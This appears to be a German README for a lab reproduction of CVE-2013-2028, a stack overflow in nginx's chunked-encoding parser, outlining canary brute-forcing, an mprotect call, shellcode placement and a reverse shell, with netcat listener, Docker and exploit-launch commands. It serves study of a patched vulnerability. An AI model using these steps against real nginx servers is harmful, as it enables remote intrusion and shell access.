CVE-2013-2028 Exploit
Details zur Schwachstelle
Verwundbare Software: Nginx 1.3.9 < 1.4.0
Commit mit Fix: https://github.com/nginx/nginx/commit/4997de8005630664ab35f27140e2077e818b21a7
Die Schwachstelle existiert in der Funktion ngx_http_parse_chunked. Dieser Exploit löst einen Integer-Overflow in ngx_http_parse_chunked aus und nutzt diesen anschließend, um den Stack zu überlaufen und den Kontrollfluss zu übernehmen.
Details zur Ausnutzung
Der eigentliche Exploit besteht aus 4 Schritten:
- Ermittle den Wert des Stack-Canarys per Byte-für-Byte-Bruteforce
- Berechne die Adresse von mprotect mithilfe des Werts aus rcx (zeigt irgendwo in lpthread). Rufe mprotect mit den passenden Argumenten auf.
- Kopiere den Shellcode an eine RWX-Speicherstelle.
- Springe zum Shellcode und starte eine Reverse Shell.
So lässt es sich reproduzieren
- Starte einen Listener auf dem Hostsystem, zum Beispiel mit netcat:
nc -lvp 4345
- Starte auf der virtuellen Maschine Docker:
sudo docker-compose up --build
- Führe den Exploit aus:
python2 exploit.py -ra 127.0.0.1 -rp 8081 -la <listener machine address> -lp <listener machine port>
- Lass den Exploit den tatsächlichen Wert des Canarys finden und starte die Reverse Shell.
